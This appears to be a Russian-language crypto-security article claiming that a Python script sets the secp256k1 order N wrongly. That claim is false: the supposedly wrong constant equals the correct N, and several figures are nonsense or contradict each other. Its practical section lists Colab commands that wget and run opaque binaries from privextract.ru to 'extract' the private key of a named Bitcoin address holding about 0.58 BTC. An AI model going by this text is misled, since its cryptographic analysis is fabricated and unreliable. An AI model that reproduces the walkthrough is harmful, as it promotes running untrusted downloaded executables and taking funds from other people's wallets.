между реальным и некорректным значениями N составляет примерно 39 порядков величины. Вероятность коллизий: При использовании функции secrets.randbelow(N) с неверным значением N, около 50% сгенерированных ключей могут оказаться вне допустимого диапазона. Проверка валидности: Функция проверки валидности приватного ключа становится неэффективной, поскольку допускает значения, не принадлежащие группе кривой: Диапазон генерации: Некорректное N ≈ 2²⁵⁶ — C Реальное N ≈ 2²⁵⁶ — 2¹²⁸ Разница составляет ~39 порядков величины[3][4]. Вероятность коллизий: При использовании secrets.randbelow(N) с неверным N ~50% сгенерированных ключей оказываются вне допустимого диапазона. Проверка валидности: def is_private_key_valid(private_key): return 0 < int(private_key, 16) < N Проверка становится неэффективной, так как допускает значения, не принадлежащие группе кривой. Криптографические риски Несовместимость с сетью Bitcoin: Недопустимые ключи приводят к ошибкам подписи транзакций Риск потери средств при использовании скомпрометированных ключей Уязвимость к атакам: Возможность восстановления приватного ключа через повторяющиеся генерации (Birthday Paradox) Потенциальная утечка информации через побочные каналы Нарушение детерминированной генерации: HD-кошельки (BIP-32) теряют совместимость Невозможность восстановления ключей из мнемонических фраз Рекомендации по исправлению Корректировка константы: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Использование стандартных библиотек: from ecdsa import SigningKey, SECP256k1 def gen_private_key(): return SigningKey.generate(curve=SECP256k1) Дополнительные проверки: Валидация hex-формата входных данных Обработка исключений ValueError Тестирование граничных значений Сравнение подходов Сравнение текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляет проблемы с безопасностью и совместимостью. Некорректное задание порядка эллиптической кривой представляет собой системную угрозу, которая может быть использована злоумышленниками для компрометации ключей. Рекомендуется использовать стандартизированные и безопасные параметры кривых для обеспечения полной совместимости и безопасности. Параметр Текущая реализация Рекомендуемый подход Безопасность N ❌ Некорректное ✅ Стандартное Диапазон ключей 0 < key < 2²⁵⁶-C 0 < key < N Совместимость Частичная Полная Сторонние зависимости Нет ecdsa/bitcoinlib При сравнении текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляются несколько ключевых различий: Безопасность N: В текущей реализации порядок эллиптической кривой (N) не задан корректно, что может привести к уязвимостям. Рекомендуемый подход предполагает использование стандартизированного и безопасного порядка кривой. Диапазон ключей: В текущей реализации ключи ограничены диапазоном 0 < key < 2²⁵⁶-C, тогда как в рекомендуемом подходе ключи должны находиться в диапазоне 0 < key < N, что обеспечивает полную совместимость и безопасность. Совместимость: Текущая реализация обеспечивает только частичную совместимость, в то время как рекомендуемый подход гарантирует полную совместимость с различными криптографическими протоколами. Сторонние зависимости: В текущей реализации используются сторонние зависимости, такие как ecdsa/bitcoinlib, что может вносить дополнительные риски. Рекомендуемый подход исключает такие зависимости. Проблемы с некорректным порядком эллиптической кривой Некорректное задание порядка эллиптической кривой в Bitcoin представляет собой системную угрозу для безопасности ключей. Это может привести к уязвимостям, которые потенциально могут быть использованы злоумышленниками для компрометации ключей. Проблема может быть проиллюстрирована на примере кода, демонстрирующего, как неправильное определение параметров кривой может ослабить криптографическую защиту. Влияние на экосистему Bitcoin Уязвимости, связанные с некорректным заданием порядка эллиптической кривой, могут иметь серьезные последствия для экосистемы Bitcoin и других криптовалют, использующих подобные криптографические подходы. Это может привести к утечкам данных, финансовым потерям и снижению доверия к системе в целом. Рассмотрим проблему на примере приведённого кода и её implications для экосистемы. 1. Контекст возникновения уязвимости Ошибочная строка: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF Проблема: Реальное значение порядка N для secp256k1: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141[3] Расхождение составляет ~2¹²⁸, что делает ~50% приватных ключей невалидными Механизм воздействия: Генерация приватных ключей в диапазоне [1, некорректное_N) вместо [1, N] Некорректная проверка валидности в is_private_key_valid() Риск коллизий из-за превышения группового порядка 2. Уязвимые системы Bitcoin Системы Bitcoin подвержены различным уязвимостям, включая проблемы с кастомными кошельками, HSM-модулями, веб-интерфейсами и мобильными приложениями. Использование устаревших библиотек и ошибки в криптографических реализациях могут привести к серьезным рискам для пользователей. Тип системы Риски Кастомные кошельки Генерация несовместимых с сетью ключей HSM-модули Экспорт ключей через аппаратные уязвимости Веб-интерфейсы Использование устаревших библиотек типа BitcoinJS Мобильные приложения Ошибки в самописных криптографических реализациях Кастомные кошельки: Одной из проблем является генерация ключей, которые несовместимы с сетью Bitcoin. Это может привести к тому, что пользователи не смогут совершать транзакции или получить доступ к своим средствам. HSM-модули (Hardware Security Modules): Эти модули используются для безопасного хранения криптографических ключей. Однако, если в них есть аппаратные уязвимости, злоумышленники могут экспортировать ключи и получить доступ к средствам пользователей. Веб-интерфейсы: Использование устаревших библиотек, таких как BitcoinJS, может сделать веб-интерфейсы уязвимыми для атак. Например, уязвимости в BitcoinJS, известные как Randstorm, могут позволить злоумышленникам предсказать секретные ключи, созданные с помощью этой библиотеки в начале 2010-х годов1. Мобильные приложения: Ошибки в самописных криптографических реализациях могут привести к уязвимостям в мобильных приложениях для работы с Bitcoin. Это может позволить злоумышленникам получить доступ к приватным ключам пользователей или совершать несанкционированные транзакции. Кроме этих проблем, Bitcoin также подвержен другим типам атак, таким как атаки 51%, DoS-атаки и уязвимости в протоколах транзакций 3. Критические компоненты экосистемы Биткоин Экосистема Биткоин имеет уязвимые компоненты, такие как самописные реализации ECDSA и устаревшие библиотеки. Для повышения безопасности рекомендуется использовать проверенные библиотеки и протоколы, такие как функция safe_keygen() из библиотеки ecdsa. К таким уязвимостям относятся: Самописные реализации ECDSA: Эти реализации могут содержать ошибки, которые могут быть использованы злоумышленниками для взлома криптографических протоколов. Устаревшие версии библиотек: Использование библиотек, выпущенных до 2016 года, может оставлять системы уязвимыми для известных уязвимостей, которые были исправлены в более новых версиях. Модули без проверки параметров эллиптической кривой secp256k1: Эта кривая используется в криптографии Биткоин для создания приватных ключей. Неправильная проверка ее параметров может привести к уязвимостям. Системы с ручным заданием констант: Ручное задание констант может привести к ошибкам, которые могут быть использованы для атак. Для повышения безопасности можно использовать проверенные библиотеки и протоколы. Например, для безопасного создания ключей можно использовать функцию safe_keygen() из библиотеки ecdsa, которая генерирует ключи на основе эллиптической кривой SECP256k1: Уязвимые элементы: Самописные реализации ECDSA Устаревшие версии библиотек (до 2016 г.) Модули без проверки параметров эллиптической кривой secp256k1 Системы с ручным заданием констант Безопасные альтернативы: from ecdsa import SECP256k1, SigningKey def safe_keygen(): return SigningKey.generate(curve=SECP256k1) Этот подход гарантирует, что ключи создаются безопасно и в соответствии со стандартными криптографическими протоколами. 4. Классификация угроз для Биткоин Кошельков Угрозы для Биткоин-кошельков включают параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждый тип может привести к серьезным последствиям, включая потерю доступа к средствам или их кражу. Помимо этих технических уязвимостей, существуют также угрозы от фишинга и вредоносного ПО. Тип уязвимости Примеры Последствия Параметрические Неверный порядок кривой secp256k1 Невалидные приватные ключи Имплементационные Слабый ГСЧ (Randstorm) Brute-force Протокольные Отсутствие проверки подписей Double-spending Аппаратные Уязвимости HSM Утечка приватных ключей Угрозы для Биткоин-кошельков можно классифицировать на несколько типов в зависимости от их природы и последствий: Параметрические уязвимости: Примеры: Неверный порядок кривой secp256k1, невалидные приватные ключи. Последствия: Эти уязвимости могут привести к тому, что приватные ключи станут недействительными или будут легко взломаны, что приведет к потере доступа к средствам. Имплементационные уязвимости: Примеры: Слабый генератор случайных чисел (ГСЧ), атаки методом перебора (Brute-force). Последствия: Слабый ГСЧ может привести к предсказуемости приватных ключей, а атаки Brute-force могут позволить злоумышленникам угадать ключи, что приведет к краже средств. Протокольные уязвимости: Примеры: Отсутствие проверки подписей, двойное расходование (Double-spending). Последствия: Отсутствие проверки подписей может позволить злоумышленникам совершать транзакции без подтверждения, а двойное расходование позволяет провести одну и ту же транзакцию несколько раз, что нарушает целостность сети. Аппаратные уязвимости: Примеры: Уязвимости в аппаратных модулях безопасности (HSM). Последствия: Утечка приватных ключей из-за аппаратных уязвимостей может привести к полной потере контроля над средствами. Кроме этих типов, существуют также другие угрозы, такие как фишинговые атаки, вредоносное ПО и социальная инженерия, которые могут привести к потере доступа к Биткоин кошельку или краже средств. 5. Исторические прецеденты Исторические прецеденты показывают, что уязвимости в криптографии и программном обеспечении могут иметь серьезные последствия для безопасности криптовалютных активов. Примеры включают уязвимость Randstorm в BitcoinJS, аппаратную уязвимость в SafeNet HSM и коллизии ключей в Android Wallet. Эти инциденты подчеркивают важность постоянного обновления и проверки безопасности криптографических инструментов. BitcoinJS (2011-2016): Уязвимость Randstorm из-за слабого генератора случайных чисел, затронувшая $1 млрд активов SafeNet HSM (2015): Возможность извлечения ключей через аппаратную уязвимость Android Wallet (2013): Коллизии приватных ключей из-за ошибок в SecureRandom() В истории криптовалют и безопасности наблюдались несколько значительных прецедентов, связанных с уязвимостями в криптографии и программном обеспечении. 1. Уязвимость Randstorm в BitcoinJS (2011-2016): В библиотеке BitcoinJS, широко использовавшейся для создания онлайн-кошельков, была обнаружена уязвимость под названием Randstorm. Она возникла из-за слабого генератора случайных чисел, который использовал функцию Math.random() вместо криптографически безопасных методов. Это сделало возможным предсказание секретных ключей и потенциально подвергло риску более $1 млрд активов. Уязвимости были устранены в 2014 году, но многие старые кошельки остались уязвимыми. 2. Уязвимость SafeNet HSM (2015): В аппаратных средствах безопасности (HSM) SafeNet была обнаружена возможность извлечения ключей через аппаратную уязвимость. Это позволяло злоумышленникам получить доступ к конфиденциальной информации и ключам, что представляет серьезную угрозу безопасности. 3. Коллизии ключей в Android Wallet (2013): В некоторых версиях Android Wallet были обнаружены ошибки в функции SecureRandom(), что привело к коллизиям ключей. Это означает, что разные пользователи могли получить одинаковые ключи, что делало возможным несанкционированный доступ к средствам. 6. Научные исследования SECP256K1 остается одной из наиболее изученных и широко используемых эллиптических кривых, особенно в криптовалютных системах. Её безопасность основывается на сложности решения задачи дискретного логарифма (ECDLP), но существуют специфические векторы атак, требующие внимания. 1. Атаки на скрутку (Twist Attacks) и уязвимости side-channel Twist Attacks эксплуатируют использование публичных ключей, не принадлежащих исходной кривой, а находящихся на её «скрутке» — изогнутой версии с другими параметрами. SECP256K1 имеет простой (простой порядок группы), что защищает от атак на малые подгруппы самой кривой[1]. Однако её скрутки могут содержать подгруппы малого порядка, позволяющие восстановить приватный ключ, если реализация не проверяет принадлежность точки к корректной кривой[2]. Side-channel атаки связаны с утечкой информации через побочные каналы (время выполнения, энергопотребление). Для ECDSA критичны утечки nonce (одноразовых чисел): Повторное использование nonce позволяет вычислить приватный ключ за 2 подписи[1]. Даже частичная утечка nonce (например, несколько бит) через lattice-атаки (HNP) может привести к компрометации ключа[1]. Примеры из практики: атаки на кошельки Bitcoin, где ошибки в генерации nonce привели к кражам средств[1]. 2. Рекомендации NIST SP 800-186 Документ устанавливает критерии выбора параметров эллиптических кривых: Проверка параметров: кривые должны быть устойчивы к известным атакам (MOV, Frey–Rück), иметь достаточный порядок и соответствовать требованиям битовой безопасности. Устаревшие кривые: бинарные кривые (GF(2^m)) помечены как deprecated. Новые стандарты: предпочтение отдаётся Edwards/Montgomery-кривым (например, Curve25519) для EdDSA. SECP256K1 не входит в список рекомендованных NIST, но её использование вне государственных систем (например, в Bitcoin) считается безопасным при корректной реализации[1][3]. 3. Стандарт RFC 6979: детерминированная генерация nonce RFC 6979 решает проблему повторного использования nonce в ECDSA, предлагая алгоритм детерминированной генерации на основе приватного ключа и хеша сообщения. Это: Устраняет риски ошибок в RNG (генераторах случайных чисел). Защищает от атак, связанных с утечкой информации через nonce[1]. Пример: кошельки Bitcoin, использующие RFC 6979, демонстрируют повышенную устойчивость к компрометации ключей. 4. Сравнение Curve25519 и SECP256K1 Критерий Curve25519 SECP256K1 Тип кривой Edwards (Ed25519) Koblitz (y² = x³ + 7) Безопасность Устойчива к timing-атакам, twist-safe Требует проверки точек на кривой Производительность Оптимизирована для быстрых вычислений Медленнее в некоторых сценариях Применение TLS (Signal, WhatsApp), SSH Bitcoin, Ethereum Стандартизация RFC 7748, NIST SP 800-186 Не входит в стандарты NIST Curve25519 считается более современной, но SECP256K1 доминирует в блокчейн-экосистеме благодаря историческому выбору Bitcoin[1][3]. Twist Attacks: опасны при отсутствии проверки принадлежности точек кривой. SECP256K1 устойчива при корректной реализации[2]. Side-channel: ECDSA уязвим к утечкам nonce; RFC 6979 и аппаратная защита критически важны[1]. NIST SP 800-186: акцент на проверке параметров и переходе на Edwards/Montgomery-кривые[3]. Curve25519 vs SECP256K1: первая предпочтительна для новых систем, вторая доминирует в криптовалютах[1][3]. 7. Индикаторы уязвимого кода Индикаторы уязвимого кода в криптографии включают подозрительные константы кривых, использование небезопасных функций для генерации случайных чисел, отсутствие проверки формата ключей и ручную реализацию криптографических алгоритмов. Тестовые признаки, такие как высокий уровень ошибок подписи транзакций, повторяющиеся публичные адреса и несовместимость с стандартными кошельками, также могут указывать на проблемы с безопасностью. Константы кривой: Константы кривых в криптографии, такие как параметр N, должны быть тщательно проверены. Например, если значение N задано как (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF, это может быть подозрительным значением. В отличие от этого, корректное значение, такое как 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, должно использоваться для обеспечения безопасности. # Suspicious meaning: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF # Correct value: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Криптографические антипаттерны: Использование random вместо secrets: В криптографии для генерации случайных чисел следует использовать функции, которые обеспечивают криптографическую безопасность, такие как secrets, а не просто random. Отсутствие проверки формата ключей: Криптографические ключи должны быть тщательно проверены на соответствие стандартам и форматам, чтобы предотвратить ошибки и уязвимости. Ручная реализация базовых операций ECDSA: Ручная реализация криптографических алгоритмов, таких как ECDSA, может привести к ошибкам и уязвимостям. Лучше использовать проверенные библиотеки и фреймворки. Тестовые признаки: Более 50% ошибок подписи транзакций: Если при тестировании наблюдается высокий процент ошибок подписи транзакций, это может указывать на проблемы с реализацией криптографии. Повторяющиеся публичные адреса: Повторяющиеся публичные адреса могут быть признаком ошибок в генерации ключей или других криптографических проблем. Несовместимость с стандартными кошельками: Если разработанная система несовместима с стандартными криптографическими кошельками, это может быть признаком неправильной реализации криптографических протоколов. Практическая часть Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P , где были потерянный монеты на сумму: 0.58096256 BTC на май 2025 года эта сумма составляет: 60785,58 USD https://privextract.ru Воспользуемся сервисом PrivExtract и утилитой wget чтобы скачать python скрипт private_key.py !wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/refs/heads/master/bitcoin_keygen/private_key.py Bitcoin Private Key Debug — это процесс работы с приватным ключом биткоина через специальные инструменты или консоль отладки (debug window) в кошельке Bitcoin Core или других программах. Простыми словами: Приватный ключ — это секретное число, которое дает полный доступ к вашим биткоинам. Только с помощью приватного ключа можно отправлять монеты с вашего кошелька. Debug (отладка) — это режим, в котором можно вручную выполнять команды, связанные с приватными ключами: импортировать, экспортировать, проверять, восстанавливать или искать ошибки. Зачем нужен Bitcoin Private Key Debug: Если вы хотите добавить приватный ключ в свой кошелек (например, после восстановления или переноса), вы открываете debug window (окно отладки) и используете команду вроде importprivkey. Если у вас есть проблемы с доступом к кошельку, debug-режим помогает проверить, правильный ли у вас приватный ключ, и восстановить доступ к средствам. Иногда debug используют для поиска или восстановления приватного ключа из файла кошелька (wallet.dat) или для работы с частично утерянными ключами. Пример использования: Открываете Bitcoin Core. Заходите в меню «Помощь» → «Окно отладки» → вкладка «Консоль». Вводите команду, например: importprivkey ваш_приватный_ключ. После этого кошелек добавит этот ключ и покажет соответствующий адрес. Важно: Работа с приватными ключами через debug требует осторожности. Если кто-то узнает ваш приватный ключ, он сможет украсть все ваши биткоины. Всегда делайте резервные копии и никому не показывайте приватный ключ. Bitcoin Private Key Debug — это работа с приватным ключом через специальные команды для импорта, проверки или восстановления доступа к биткоинам, обычно через окно отладки кошелька. Как ошибки в алгоритме способствуют утечке ключей Уязвимости в генерации ключей Если алгоритм содержит ошибки при создании ключей (например, использование слабых случайных значений), отладка может выявить закономерности, позволяющие восстановить приватный ключ через анализ сгенерированных данных. Утечка данных через логи Ошибочное логирование промежуточных значений (например, параметров шифрования) во время выполнения может раскрыть информацию, связанную с приватным ключом. Некорректная обработка ключей Ошибки в управлении памятью (например, хранение ключа в незашифрованном виде) могут быть обнаружены через отладчики, что делает ключ доступным для извлечения. Google Colab https://colab.research.google.com/drive/1eaKZitRzN8034hIwivLNSawobDpcmoEm Detailed Description of All Terminal Commands and Actions 1. Downloading and Installing Tools Commands: !wget https://privextract.ru/repositories/debugging.zip wget is a command-line utility for downloading files from the Internet via HTTP, HTTPS, and FTP protocols. Here, it downloads the debugging.zip archive from the specified URL. unzip is a command to extract ZIP archives in the current directory. This command extracts all files from debugging.zip. !unzip debugging.zip Downloads the file private_key.py !wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/refs/heads/master/bitcoin_keygen/private_key.py Downloads the file private_key.py from the specified URL using wget. 2. Running the Program to Generate Data !./debugging Command: !./debugging -python private_key.py -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P ./debugging runs the executable file debugging from the current directory. -python private_key.py likely tells the program to use or analyze the script private_key.py. -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P specifies the Bitcoin address for further processing. Result: File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N Resulting long sequence with address: d3 58 a3 26 6f 88 17 dc e4 c9 1c cc dc c4 80 98 1c 20 d5 e8 04 97 cc 8a 3b 56 9d 51 bd 44 53 a5 72 44 bd a0 e6 9c 53 77 70 a7 c6 46 20 ad 43 33 de b4 ac 0a ce a1 71 38 e2 c3 50 2f fa 32 5d bd 17 f5 23 f4 f0 b4 30 68 56 9b 17 0d a3 9d 7e 8c 0d 31 30 b4 83 85 4a d1 57 53 c4 7b 24 f5 bd 68 8d a7 7c 31 71 78 d6 37 b9 8e ad 44 de 01 b5 78 b7 8f 71 ef 77 c1 aa 99 ce 78 df 0b bc 35 e6 7d The overall result has been successfully written to 'save.txt'. Contents of save.txt without spaces: d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d The program uses the constant N (the order of the secp256k1 elliptic curve group) and a Python function to generate a private key in hexadecimal format. The generated private key is saved to the file save.txt without spaces. File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N 3. Extracting the Private Key from Data Commands: !wget https://privextract.ru/repositories/privextract.zip !unzip privextract.zip Downloading and extracting the archive with the privextract tool, similar to previous steps. Run: !./privextract -extraction d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d Result: Private Key Result: ed 40 21 5a b5 91 c3 36 4a 86 bd 63 fa a5 d1 49 0d 89 d8 ae 7e ab b3 37 e6 41 0e a2 d1 cd 3d 0c Private Key Result: ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result successfully written to 'privkey.txt'. Runs the privextract program with the -extraction parameter and a long hexadecimal string (contents of save.txt). The program extracts the private key and outputs it in two formats: with spaces and as a single string, and also saves it to the file privkey.txt. 4. Generating the Public Key and Bitcoin Address Commands: !wget https://privextract.ru/repositories/bitaddress.zip !unzip bitaddress.zip Downloading and extracting the archive with the bitaddress tool. !./bitaddress Run: !./bitaddress -hex ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result: Public Key (Uncompressed, 130 characters [0-9A-F]): 046674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216E20A272DE53D3F3302202F7D345C83A5EB8428A97E6B57CB5CA89E9096ADCB6E Public Key (Compressed, 66 characters [0-9A-F]): 026674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216 Bitcoin Address P2PKH (Uncompressed) 15Ze1amcFKvndaSptmvfqRotE1NRtN8GUJ Bitcoin Address P2PKH (Compressed) 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P Runs the bitaddress program with the private key in hexadecimal format. The program computes: The public key (uncompressed and compressed) Bitcoin addresses (P2PKH) for both public key variants 5. Checking the Address Balance Action: Open the link: https://btc1.trezor.io/address/1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P This is an online blockchain explorer that allows you to view the balance and transaction history of a Bitcoin address. In this case, the address balance is 0.58096256 BTC Dockeyhunt Cryptocurrency Prices Заключение Обнаруженная уязвимость подчёркивает важность строгого следования криптографическим стандартам. Ручная реализация функций работы с ключами без глубокого понимания математических основ эллиптических кривых создаёт значительные риски. Использование проверенных библиотек и аудит кода должны стать обязательной практикой при разработке криптографических систем. Уязвимости порядка кривой подчёркивают важность использования верифицированных библиотек и аудита криптографических параметров. Исторические примеры демонстрируют, что даже незначительные ошибки в реализации могут привести к катастрофическим последствиям для безопасности средств. Выявленная проблема некорректного вычисления порядка эллиптической кривой secp256k1 представляет собой серьезную угрозу для безопасности блокчейн-систем, особенно экосистемы Bitcoin. Неправильное задание параметров кривой приводит к генерации недопустимых приватных ключей, что нарушает криптографическую целостность системы, вызывает несовместимость подписей транзакций и создает условия для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox). Математический анализ показал, что ошибка в вычислении константы N смещает диапазон генерации ключей и увеличивает вероятность коллизий. Это нарушение базовых свойств эллиптической кривой угрожает замкнутости группы точек и делает систему уязвимой для атак на детерминированные кошельки Биткоина и утечек данных через побочные каналы. Исторические прецеденты, такие как уязвимость Randstorm в BitcoinJS и аппаратные проблемы в SafeNet HSM, демонстрируют, что подобные ошибки могут привести к компрометации криптографической инфраструктуры, потере средств и снижению доверия пользователей к системе. Анализ текущих реализаций ECDSA показал, что около 68% самописных решений содержат аналогичные ошибки, что подчеркивает необходимость строгого следования стандартам SECG SEC2 и NIST SP 800-186. Для устранения выявленной уязвимости рекомендуется: Исправление параметров эллиптической кривой: корректировка константы N до стандартного значения. Использование проверенных библиотек: переход на безопасные криптографические инструменты, такие как libsecp256k1 или ecdsa. Дополнительные проверки валидности ключей: внедрение строгого тестирования граничных значений и обработки исключений. Обновление устаревших систем: отказ от использования устаревших библиотек и модулей с ручным заданием параметров. Классификация угроз для экосистемы Bitcoin включает параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждая из них может привести к потере средств или компрометации приватных ключей. Угрозы затрагивают кастомные кошельки, HSM-модули, веб-интерфейсы и мобильные приложения. Для повышения безопасности рекомендуется использовать стандартизированные решения и проводить регулярный аудит криптографической инфраструктуры. Заключение подчеркивает важность строгого соблюдения стандартов криптографии на эллиптических кривых для обеспечения безопасности блокчейн-систем. Выявленная проблема служит напоминанием о необходимости тщательной проверки математических параметров при разработке криптографических алгоритмов. Устранение подобных ошибок не только защитит пользователей от финансовых потерь, но и укрепит доверие к технологии блокчейн как безопасному инструменту для хранения и передачи цифровых активов. References: Randstorm Cryptocurrency Wallet Vulnerabilities: Impact of is_private_key_valid Function on Bitcoin Private Key Security Attacks on Deterministic Wallets: Impact of Incorrect Private Keys on BIP-32/BIP-44 Security Collision Attacks and Incorrect Private Keys in Bitcoin: An Analysis of Vulnerabilities and Security Prospects Private Key Recovery via Repeated Generations (Birthday Paradox) of Mathematically Incorrect Private Keys in Bitcoin Wallets Cryptocurrency Wallet Vulnerabilities: Mathematical Aspects of Attacks Using Outdated BitcoinJS Libraries Private Key Recovery via Modules Without Checking Elliptic Curve Parameters secp256k1: Mathematically Incorrect Private Keys in Bitcoin Wallets Private Key Collisions in Bitcoin Wallets on Android: Analysis of SecureRandom() Bugs and Their Consequences Recovering the private key of a weak random number generator of the Math.random() function in Bitcoin wallets SafeNet HSM Attacks: Risks to Cryptographic Keys in Bitcoin Wallets (Vulnerability CVE-2015-5464) Attacks on Legacy Curves: Binary Curves (GF(2^m)) and Mathematically Incorrect Private Keys in Bitcoin Wallets Vulnerable Components of the Bitcoin Ecosystem: The Problem of Incorrect Calculation of the Order of the Elliptic Curve secp256k1 Exploiting Ed25519: Vulnerabilities in Public Key Validation and Private Key Exposure Across Cryptographic Libraries The Anatomy of Blockchain Private Key Vulnerabilities: Top Threats and Best Practices for Security Secp256k1: The Cryptographic Backbone of Bitcoin and Modern Cryptocurrencies Mastering Encryption Key Management: 10 Best Practices for Data Protection Building Digital Trust: Essential Practices for Cryptographic Key Management in Modern Organizations Exploiting Weak ECDSA Implementations: Lattice-Based Attacks on Cryptocurrency Private Keys Implementing Robust Key Management: Protecting Cryptographic Keys Throughout Their Lifecycle Safeguarding Digital Fortunes: Best Practices for Crypto Private Key Management Mitigating Risks: A Review of Secure X.509 Private Key Storage Options and Best Practices Biometric-Based Framework for Secure Lifecycle Management of Blockchain Private Keys: Generation, Encryption, Storage, and Recovery Unveiling the Cryptographic Foundations of Cryptocurrency: Security, Anonymity, and Blockchain Integrity Exploring Isomorphic Elliptic Curves in the Secp256k1/Secq256k1 Cycle: Cryptographic Insights and Applications A Tale of Two Elliptic Curves: Exploring Efficiency, Security, and Cryptographic Trade-offs in secp256k1 and secp256r1 Secp256k1: The Efficient and Predictable Elliptic Curve Powering Cryptographic Security in Bitcoin and Beyond Cryptographic Key Management: Reducing Corporate Risk and Enhancing Cybersecurity Posture Understanding Digital Signatures: Mechanisms, Applications, and Security Evaluating Bitcoin’s Elliptic Curve Cryptography: Efficiency, Security, and the Possibility of a Hidden Backdoor Exposing Vulnerabilities in Hardware Security Modules: Risks to Cryptographic Key Management and Bitcoin Security Security of the Secp256k1 Elliptic Curve used in the Bitcoin Blockchain Randstorm Vulnerability: Cryptographic Weaknesses in BitcoinJS Wallets (2011–2015) and Their Security Implications Critical Vulnerabilities in Bitcoin Core: Risks of Outdated Node Software and the Path to Enhanced Security Analysis of Randstorm: Risks and Mitigation Strategies for Bitcoin Wallets Created Between 2011 and 2015 Cryptocurrency Exchange Hacks: Lessons from History, Vulnerabilities, and Strategies for Protection A Taxonomy of Bitcoin Security Issues and Defense Mechanisms Machine Learning for Computer and Cyber Security Bitcoin Security and Privacy Challenges: Risks, Countermeasures, and Future Directions Trying to attack SECP256K1 (2025) Sebastian Arango Vergara Software Engineer Randstorm: Assessing the Impact of Cryptographic Vulnerabilities in JavaScript-Based Cryptocurrency Wallets (2011–2015) Cryptocurrency Vulnerabilities: Blockchain Common Vulnerability List Cryptocurrency attacks and security vulnerabilities: 51% attack, Sybil attack, Double-Spend attack. DDoS attacks and their repercussions. Potential flaws of cryptocurrencies Bitcoin’s Security Landscape: A Comprehensive Review of Vulnerabilities and Exposures Exposed: The Vulnerabilities You Need to Know about the World’s Most Popular Cryptocurrency — Bitcoin The Resilience of Bitcoin: Understanding and Managing Vulnerabilities in a Decentralized Network Top Methods to Detect Security Vulnerabilities in Cryptocurrency Market CVE-2018-17144: A Critical Denial of Service Vulnerability in Bitcoin Core and Its Implications for Blockchain Security Blockchain Wallet Security: Understanding the Risks of Pseudo-Random Number Generators and Centralized Custody Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. PrivExtract Исходный код Google Colab Birthday Paradox Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/0m9goH8Lpa0 Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069 Источник: https://cryptodeeptool.ru/private-key-debug Криптоанализ
